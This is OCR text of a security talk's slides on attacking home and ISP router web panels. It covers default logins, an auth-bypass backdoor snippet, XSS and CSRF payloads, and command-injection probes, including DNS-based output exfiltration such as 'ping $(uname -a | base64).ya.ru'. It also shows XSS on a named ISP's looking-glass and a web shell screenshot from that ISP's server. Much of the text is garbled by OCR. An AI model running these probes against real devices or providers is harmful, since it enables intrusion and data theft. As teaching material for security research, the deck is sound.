


Hacking routers
as

Web Hacker



WHOAMI

* Researcher @ hlsec.ru

e @cyberpunkych

 Attacking MongoDB @ ZN2012

e Database honeypot by desigh @ Defcon Russia
* Meme Master



Routers everywhere.

* Home

* Work

* Hospitals

* Banks

* In your bag
* etc



But I'm web hacker, what can | do?

e Router’s web control panel == web site
* Connect managers with web interface, such as Yota Access ©
* ISP (statistics, billing, management, etc)



Routerzzz



OWASP TOP 10 for routers

e Default credentials

e Auth bypass

e XSS

* CSRF

e Command Injection

* Sensitive info leak

* Bugs in third party libraries
* RCE, XXE, etc



Default credentials

Should | say anything?

routerpasswords.com

RouterPassword

Welcome to the internets largets and most updated default router
passwords database,

Select Router Manufacturer:

BELKIN

Copyright ©@ 2014 RouterPasswords.com. All rights reserved




Authentication Bypass/No Auth

alpha_auth_check(struect http_request_t *request)
st->url, "graphic/") ||

* He 0, Yota I\/Iany est->url, “public/*) ||

-»user_agent, "

* Hello, D-Link’s backdoor | return AUTH_OK;

%lse

¢ H e O ) M TS 4G RO U te r -L // These arguments are probably user/pass or session info

if(check_login(request-»8xC, request->8xE@) != @)
:

® He O’ Others return AUTH_OK;

return AUTH_FAIL;

(DIR-100, DI-524, DI-604, etc)



CSRF/XSS everywhere

pyBackTrack Linux [fjOffensive Security EJExploit-DB Yy Aircrack-ng g SomaFM

* Wicd Network Manager

=k | Disconnect All Refresh & Preferences " About v

Choose from the networks below:

pa KEENETIC 4G

Wired Network
® Use as default profile (overwrites any previous default) PexnM paboTei:

wired-default v || Add || Delete
Connect | | Properties

<svg/onload=alert(1l)> 100% Unsecured Channel 10
[ Automatically connect to this network

Disconnect | | Properties

(Zyxel Keenetic v1)

Srlsy, it’s everywhere. But why?
Because **** you, that’s why.



Command injection

Always check network tools ©

(ASUS RT-N10P)



Sensitive info leak

» /error_page.htm
 /Devinfo.php
* /rom-0

= ~ curl http://217.162.11.253:8088/DevIinfo.php

Firmmare External Version: VZ.12
Firmmare Internal Version: clik
Model Name: DIR-300

Hardware Version: Bx

WLAN Domain: GB

Kernel: 2.6.33.2

Language: en

Graphcal Authentication: Disable
LAN MAC: cc:b2:55:5c:a9:8a

WAN MAC: cc:b2:55:5c:a9:8b

WLAN MAC: cc:b2:55:5c:a9:8a;

+ =

..Render.

more than two minutes, please follow these thres step
the network cable; (23 wait for about ten seconds; ans
addrass. ":
detect _router():
setTim=out("check system readyia;". 30003;
S("#proceeding_img"a[0].style.width = »100%";
eeding _img_text*i[0].innerHTML = "Complete!":
ezding action"i[0].innerHTML = "Successfully
ed to RT-WN1ZD1lY's web GUI.":
('l == 0 || 'PkSiMpTOSHE#Z24 ' == r'admin')
Timecut("parent. location = yrhitp: /S "+new _lan _ip+n/f

T 4 0

= YWhttp: /S +new_lan_ip+"f

url: 'fsetting lan.htm',
dataType: 'script'.
error: functionixhrif

admin

(ASUS RT-N12D1)



Bugs in third party libraries

e Heartbleed

ShellShock
() Rom Pager :::::;:‘? ient Hello. ..

aiting for Server Hello...

ess received message: Lype « 0302, length ~ 58

..« received neccage: type = 0302. length = 902

PY «ss received measage: type = 0302. length = 652
e C «+- received nessage: type e =~ HINZ2, length -~ 4

Sending heartbeat request. ..
... received mesvage: Lype « 0302, length ~ 16384
Received heartheat reczponsge:
0000: 62 10 00 (0]

H 3 02 53
amn: 20 92 AR 48 97 CFP
HOZ0: 77 B4 11 D4 DE BB
0030: 39 38 88
0040: 12 08 1€
0050: on 13
an&en: 99 15
HH70: 11 n?

oy

49 0B
OE (0]
16 1?
ns 12
11 23

D
cC
14
OF
16
1E

0B ¢ .e....8CL...r...
858 M .. MeePiccccsns
U8 22 08 w.d.coFeunea"™

eelececcccnseeds

=BEIZE0REEN

§3888&E3888

§3388552308
§88858038085 22
§388°28 83283
SRIBREF2

§3888853888
§3888&=3888




Hacking algorithm



WARNINNG!

BAC MPUCTPEJIAT MO YTPY — HE PABOTAMTE MO PY!

272,273,274




1. Get the firmware

* Check vendor web site/ftp
* Get firmware source code (GPL profits)
* No firmware at all? Dump it via UART/SPI/JTAG (HW mode on)

root@kal 196 ~/Documents/cyberpunkych# wget http://ftp.dlink. ru/pub/Router/DIR-300/Firmware/DIR-300A1_FW105b@9.bin
--2015-10-01 16:57:38-- http://ftp.dlink.ru/pub/Router/DIR-300/Firmware/DIR-300A1_FW105b09.bin

Resolving ftp.dlink.ru (ftp.dlink.ru)... 94.198,53.90

Connecting to ftp.dlink.ru (ftp.dlink,.ru)|94,198.53.90]:80... connected.

HTTP request sent, awaiting response... 200 0K

Length: 2347136 (2.2M) [application/octet-stream]

Saving to: ‘DIR-300A1_FW105b@9.bin’

DIR-300A1_FW1@5b@9.bin 100%[
2015-10-01 16:57:38 (6.47 MB/s) - °DIR-30@A1_FW105b@9.bin’ saved [2347136/2347136]



2. Unpack it

e Binwalk -> search for signature and try to unpack

* Firmware-mod-kit pack/unpack

* If NO_SUCCESS -> analyze firmware entropy

e Sasquatch for squashfs, other fs -> google for tools

root®kal i06: ~/Documents/cyberpunkych# bimwalk -Me DIR-30@A1_FW1@5b@9.bin

Scan Time: 2015-10-01 16:57:47

Target File: DIR-380A1_FW105b@9.bin

MD5 Checksum: 36c589231c61ceddc72d?6b546bbf1f5
Signatures: 285

DECIMAL HEXADECIMAL DESCRIPTION

96 @x60 LZMA compressed data, properties: @x5D, dictionary size:
524384 Ox30060 PackImg section delimiter tag, little endian size: 136384
524416 @x80080 Squashfs filesystem, big endian, version 2.8, size: 18192

root@al 196 ; ~/Document s/ cyberpuniychy_DIR-300A1_FW105b@9 . bin.extracted# sasquatch 80980, squashfs
SquashF5 version [512.9] / inode count [Z1309@3049] suggests a SquashFS image of a different endianess
Reading a different endian SQUASHFS filesystem on 30080.squashfs

Parallel unsquashfs: Using 1 processor

Trying to decompress using defaoult gzip decompressor...

Trying to decompress with lzma...

Trying to decompress with lzma-adaptive...

Detected lzmao-adaptive compression

842 inodes (901 blocks) to write

[

created 742 files
created 53 directories
created 109 symlinks
created @ devices
created @ fifos



3. CHECK AUTH

e Black Box => White Box
 foriin *; do curl http://router_ip/Si; done

L]
. YO u k n OW W h a t to d O ’ ) root@kali06: ~/Documents/... | eyberpunkych: ~/Download... cyberpunkych: ~ (zsh)

root@kalids:~/Documents/cyberpunkych/_DIR-300A1_FW105b@9 .bin.extracted/squashfs-root/www# 1s -la
total 768

drwxrwsr-x 11 528 inetsim 4096 Nov 26 2010 .

drwxrwsr-x 14 528 inetsim 4096 Nov 26 2010 ..

-rw-rw-r-- 1 528 inetsim 2745 Nov 26 2010 __adv_app.php

=rw-rw-r-- 1 528 inetsim 10605 Nov 26 2010 adv_app.php

=rw-rw-r-- 1 528 inetsim 964 Nov 26 2010 __adv_firewall_httpallow.php
-rw-rw-r-- 1 528 inetsim 3511 Nov 26 2010 __adv_firewall.php
-rw-rw-r-- 1 528 inetsim 19677 Nov 26 2010 adv_firewall.php
-rw-rw-r-- 1 528 inetsim 847 Nov 26 2010 __adv_firewall_pingallow.php
=rw-rw-r-- 1 528 inetsim 960 Nov 26 2010 __adv_firewall_vrtsrv.php
-rw-rw-r-- 1 528 inetsim 925 Nov 26 2010 __adv_mac_filter.php
=rw-rw-r-- 1 528 inetsim 9612 Nov 26 2010 adv_mac_filter.php
-rw-rw-r-- 1 528 inetsim 5460 Nov 26 2010 adv_network.php

-rw-rw-r-- 1 528 inetsim 3753 Nov 26 2010 __adv_port.php

=rwW-rw-r-- 1 528 inetsim 11875 Nov 26 2010 adv_port.php

=rw-rw-r-- 1 528 inetsim 5462 Nov 26 2010 adv_gos.php

-rw-rw-r-- 1 528 inetsim 9664 Nov 26 2010 adv_routing.php

-rw-rw-r-- 1 528 inetsim 582 Nov 26 2010 __adv_url_filter.php
-rw-rw-r-- 1 528 inetsim 7606 Nov 26 2010 adv_url_filter.php
=rW-rw-r-- 1 528 inetsim 10126 Nov 26 2010 adv_wlan.php

-rw-rw-r-- 1 528 inetsim 328 Nov 26 2010 __ajax_tools_ddns_info.php
-rw-rw-r-- 1 528 inetsim 307 Nov 26 2010 __ajax_tools_ddns_setnodes.php
drwxrwsr-x 2 528 inetsim 4096 Nov 26 2010 auth

=rw-rw-r-- 1 528 inetsim 1200 Nov 26 2018 bsc_chg_rg_mode.php
=rwW-rw-r-- 1 528 inetsim 2321 Nov 26 2010 bsc_internet.php
-rw-rw-r-- 1 528 inetsim 28@ Nov 26 2010 bsc_lan_ipchanged.php
-rw-rw-r-- 1 528 inetsim 20653 Nov 26 2010 bsc_lan.php

-rw-rw-r-- 1 528 inetsim 79748 Nov 26 2010 bsc_wan.php

-rw-rw-r-- 1 528 inetsim 2264 Nov 26 2010 bsc_wiz.php

=rwW-rw-r-- 1 528 inetsim 777 Nov 26 2010 bsc_wlan_channel.php
-rw-rw-r-- 1 528 inetsim 2783 Nov 26 2010 bsc_wlan_main.php
-rw-rw-r-- 1 528 inetsim 31571 Nov 26 2010 bsc_wlan.php

-rw-rw-r-- 1 528 inetsim 513 Nov 26 2010 __bsc_wlan_wps_action.php



4. CHECK CMD INJECTION

PING -> ya.ru;ls

CONFIG backup to FTP/TFTP

Any place where command execution is used
Check all shell symbols

Error-based command injection for output

cyberpunkych: ~ (zsh) cyberpunkych: - (zsh)

cyberpunkych: ~ (zsh)
@cyberpunkych|~
ping -c 1 $(uname -a | base&4 ).ya.ru
ping: cannot resolve RGFyd2luIGNSYmVycHVua3ljaCSobHN1YySydSAxNC41LjAgRGFyd2lulEtlamS1bCBWZXIZzaWIuIDEGL jUuMDogV2VKIE
p1bCAy0SAWMjoyNjolMyBQRFQgMAXNTsgcmIvdDp4bnliM] c4Mi4@MC45f § EVUKVMRUFTRVIYODZ fNjQgeDg2XzY@Cg==.ya.ru: Unknown host

-> [68]
@cyberpunkych| ~
echo -n "RGFydZ1uIGN5YmVycHVua31jaCSobHNL YySydSAxNC41L jAGRGFyd2 1ulEt1em51bCBWZXIzaWduIDEQL jUuMDogV2ZVk IEp1bCAy0OSAW
MjoyNjolMyBQRFQgMjAXNT sgcmSvdDp4bnltM] c4Mi4@MC45 £ jEVUKVMRUFTRVSYODZ FNjQgeDg2XzY@Cg==" | baseb4 -D

Darwin cyberpunkych.hlsec.ru 14.5.@ Darwin Kernel Version 14.5.8: Wed Jul 29 @2:26:53 PDT 2015; root:xnu-2782.49.9~
1/RELEASE_X86_64 x86_64
Ecyberpunkych|~

ping -c¢ 1 $USER.radiotwitch.in
PING cyberpunkych.radiotwitch.in (5.101.127.7): 56 data bytes
AC
=== cyberpunkych.radiotwitch.in ping statistics ---
1 packets transmitted, @ packets received, 100.8% packet loss
-> [2]

Ecyberpunkych|~

# pingya.ru || Is
# ping S(uname)

# ping uname’

# ping ya.ru && Is
# ping ya.ru; |s

# ping SUSER.ya.ru




5. Check for XSS

 <script>alert(1)</script> for every param!

* Check hosthame, sometimes it can help you ©
e Even 1 XSS => PROFIT!!1

e Stored XSS => Compromised web interface



5. Check for XSS

 <script>alert(1)</script> for every param!

* Check hosthame, sometimes it can help you ©
e Even 1 XSS => PROFIT!!1

e Stored XSS => Compromised web interface

Typical attack scheme:
Link/Page with XSS => AJAX => getElementsByTagName(‘input’)[*].value => log data



Hide myself from web aka rookit hostname

Hello, 1'}]"); !
Hide’'n’seek from browser via xss in Zyxel Keenetic.

192.168.1.1

Tabnuua aKTMBHBIX COefMHEeHWH




6. Check for CSRF

* Inspect for anti-csrf tokens
* Check X-Requested-With
* Referer check



6. Check for CSRF

* Inspect for anti-csrf tokens
* Check X-Requested-With
* Referer check

Referer checking:

HTTE/1.1 200 OF
__ C no-cache
HTTP/1.1 u : Apr 1970 21:17:51 GMT

Intel Mac OS5 X 10.10;

g

; q:D.Dl

ru—RU;ru{q= =
C n, defla ] 6 1443714144669




6. Check for CSRF

* Inspect for anti-csrf tokens
* Check X-Requested-With
* Referer check

Any other == bad referer:

o lo.0.0.01
: Mozilla/ss intosh; Intel Mac O5 X 10.10;
0100 0

at o : Sy og=0.01
pt-Landg ru-RU, ru;gq=0.5,8 oq=0.5 Wrong referer: http:/

Encoding: geip, deflate
= MLHttpRequest
ruf
ie: MFla =ru
Connection: keep-aliwve




6. Check for CSRF

* Inspect for anti-csrf tokens
* Check X-Requested-With
* Referer check

Open Redirect trick to bypass regexp:

HTTP/1.1 200 0OF
I C 11: no-cache

HTTE/ 1.1 pr 1970 21:17:51 GMT

: ¥pe: © jawvasc t; charset=utf-&
: Mon, 19 H 0 20 3FMT

-1 lighttp
; og=0.01 Content-Lencgth:

(Macintosh; Intel Mac O35 X 10.10;

L5,en;g=0.3

jouery110104473504545801356806_1443714144669 ¢
I

L




CSRF => MITM

All you need is leve CSRF via updating DNS settings!

( <img src=“csrf”>, habrahabr, you know. )

* PoC:
I.e '
TSxr 1F ap

; attacker
fu:.vllgr,,rlng URL acker wanyg
Onoe the 0 do S0

-2.,409 15 .3 s Lo wdll & =Lt
53 &‘j] 59 & Ublll'l o m d] Z 11 m




XSS + Smart CSRF

Get the internal IP address using a nice WebRTC hack

Get router IP (no so many requests 8) )

Make CSRF Request via XSS payload (better for stored XSS)
Get all data (sometimes passwords stored in input.value’s)

Redirect to page with XSS
2?7

N o U s W NhPeE

All your data are belong to us!



Support Software



Support Software

* %operator_name% Connect (Huawei modems), Yota Access, etc
* Sometimes they also use web inside apps!

* Binary bugs (BOF, etc)

e Bugs with bad privileges

* Sniff requests to ISP => new bugs


cyberpunkych



Support Software

From CSRF to RCE!
video_here


cyberpunkych



ISP



ISP — Just another target

* Google/Yandex dork

* Cabinet/Balance/etc on provider’s site
e Subdomains

* Popular services



Why it is important?

e Update server control

* Client-side tricks (crossdomain.xml)
* Remote device administration

* New default credentials

e Attack firmware developers




] site:megafon.ru filel

-'|e site:megafon.ru filetype:aspx

Kaptwsi Kaptal Play YouTube Hosoctu MMouta Ewe -

nacHbIi

Momowe.

C Mo 3TOMY 3anpocy Bkl MOXETE TH CAATEI Ha PYCCKOM A3bIKe. >
TpeﬁOBaHldﬂ K KOM HbIOTEDy HOH b30BaTens )y TUTENLHLIE A3bIKK AN PE3yNLTATOR NOMCKa MOMHO B pasfene HacTpoku

OAO «MeradoH» - I'o,uoaon ot4er 2010
ar.megafon.ru/ ~ MNepesecTn 3Ty CT|
Warning: r

auws - MonHas

MegaFon Alert Potential Cheaters «Respond» Krasnodar
english.corp on. 0 10-1057 ht... = MNepe

Press room - MegaFon
gafon.ru/pdfd.




Just google.

‘J MegaFon Locking Glass - p... T
MeranaGo..

& megafon.ru c site:megafon.ru intexterror > B 9 ¥+ A O Ebup-
site:megafonruintexterror > 1w B @ $ & No Proxy~

[ Yacto nocewae... ~ BuicTpan nacTpoli... (@, Hauanuias ctpas... Mercury — secrin.. __} S0L Injection Che... | Cramow/Adicles-... @, Hauanonan cpan..
p- Mercury — BecTHM... | SQL Injection Che... Crarou/Articles - ... & Hauanonas crpan...
¢ Mera®oH
. : Seade MeraJlabopatopus
MegaFon Looking Glass - ping $echo source 85.26.169.198 R SRR el el
KOMMYHWKATOPOB, HOYTOYKOB 1 MK

Router: SPB-BGW-CRS3-2 St.Petersburg
Command: ping $echo source 85.26.169.198
3NOMINTS "><svg onload=alert{1)  no yer

problem connecting to "1@.222.254.198", port Z3: connect timed-out BoiiTh kak nonbsosarens ||
write error: filehandle isn't open
:write error: filehandle isn't open
write error: filehandle isn't open

write error: filehandle isn't open L]
nns «" ><sy

Disclaimer: All commands will b for possible later analysis and statistics. If you don't like this palicy. please disconnect now http://ic.meg...d=alert(1)%3E
i i Ty » site:megafon.ru intexterror B U 3 A © E&NoPoxy~ =
Please email questions or comments to noc @megafon.ru. ck w 2

{crpas wacrpoir... (@ Hauansuas crpan Mercury — sectim... SQL Injection Che. Craruw/Articles - @ Havansuas crpan

[HttpRequestValidationException (0x80004005): A potentially dangerous Request.QueryString value was detected from the client (num=""><h1>1").]
System.Web.HttpRequest. ValidateString(String value, String collectionK ey, RequestValidationSource requestCollection) +11309476
System.Web HttpRequest. ValidateName ValueCollection(Name ValueCollection nvc, RequestValidationSource reguestCollection) +82
System.Web.HttpRequest.get_QueryString() +183
System.Web.UI.Page DeterminePostBackMode() +163
System.Web.UIPage ProcessRequestMain(Boolean includeStapgesBefore AsyncPoint, Boolean includeStages AfterAsyncPoint) +11265679
System.Web. Ul Page.ProcessRequest(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +11265198
System.Web.UI.Page.ProcessRequest() +119
System.Web.UI Page.ProcessRequest(HttpContext context) +167
ASPlogin_aspx ProcessRequest(HttpContext context) in c:\WINDOWS\Microsoft NET\Framework64'v4.0.303 1M Temporary ASPNET Files\root\c4d7b9¢ 1\60c685fa\App_Web_zpvzynf4.1.cs:0
System.Web.CallHandlerExecutionStep.System. Web HitpApplication JExecutionStep. Execute() 4597
System.Web.HttpApplication. ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +266

Version Information: Microsoft NET Framework Version:4.0.30318; ASP.NET Version:4.0.30318 1

Mepepada aaHLIX ¢ lo.megafon.u




WARNINNG! WARNINNG! WARNINNG!

272,273,274,




Example f

rom real life

(_

Mt N Nt oo a8 a5k i

Uname: FreeBSD webcuat.megafon.ru 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec 4 09:23:10 UTC 2012 root@farrell.cse [Google] [milwOrm] [UTF-8 |
User: 80 ( www ) Group: 80 ( www )

Php: 5.4.16 Safe mode: O/ | [ phpinfo | Datetime: 2015-08-31 15:52:12 19
Hdd: 193.70 GB Free: 167.71 GB (86%)

7~ wOrm

Cwd: Jusr/home/web/ drwxr-xr-x [ home |

[Sec.nfo]  [Files]  [Console]  [Sal] [Php]  [Safemode] [Stringtoois] [Bruteforca] [Network] [Logout] [SeF i
IFiIe manager
W Name Size  Modfy Owner/Group Permissions Actions
mi.] dir 2013-07-03 14:32:02 rootjwheel drwxr-xr-x RT
B [ ar2012.megafon.ru ] dir 2013-06-11 19:47:41 root/wheel drwxr-xr-x RT
B [ ar2013.megafon.ru | dir 2015-03-12 17:05:22 www/www frwxrwxr RT
B [ ar2014.megafon.com ] dir 2015-08-20 15:01:08 root/wheel xr-x RT
W [ bill.negafon.ru | dir  2013-09-05 09:51:35 root/wheel Mvexruwary RT
W[ cards ] dir 2013-07-03 14:13:45 root/wheel drwxr-xr-x RT
B[ cowl] dir 2013-07-03 14:13:45 root/wheel drwxr-xr-x RT
B | default ] dir 2013-07-03 16:20:52 root/wheel drwxr-xr-x RT
B[ event] dir 2013-07-03 14:13:46 root/wheel drwxr-xr-x RT
W [ forum ] dir 2014-06-06 12:35:33 root/wheel drwxr-xr-x RT
B [ hg-deviabs.megafon.ru } dir 2014-12-25 14:18:16 root/wheel drwxr-xr- RT
B [ kazan2013 ] dir 2013-07-03 16:48:41 root/wheel dirwxr-xr- RT
W[lod] dir 2014-12-08 19:32:56 www/www drwxr-xr- RT
B [ myadmin ] dir 2014-12-25 14:41:29 root/wheel drwxr-xr-x RT
W [ navigator ] dir 2013-07-03 17:24:17 root/wheel drwxr-xr-x RT

e e

%)

OcTaHoBWNCA B ware ot SS7.

(N

2013-07-03 14:15:05




Conclusion

* Router == web site

* Black Box => White Box
» XSS/CSRF everywhere

* Vulnl+vuln2->vuln3

* The RCE is out there

* R.E.S.H.ET.O.




INFO:
@cyberpunkych

Links:

http://www.routerpwn.com
http://routersecurity.org
http://seclists.org
http://dsec.ru/upload/medialibrary/589/589327eb24
133e5c615fa11950340e05.pdf
http://goo.gl/0P2rgl
https://github.com/devttys0/sasquatch
https://github.com/0x90/kali-
scripts/blob/master/embedded.sh
https://goo.gl/x3XjLU

Any gquestions?

Thnx:
@090h
@n3twOrk_




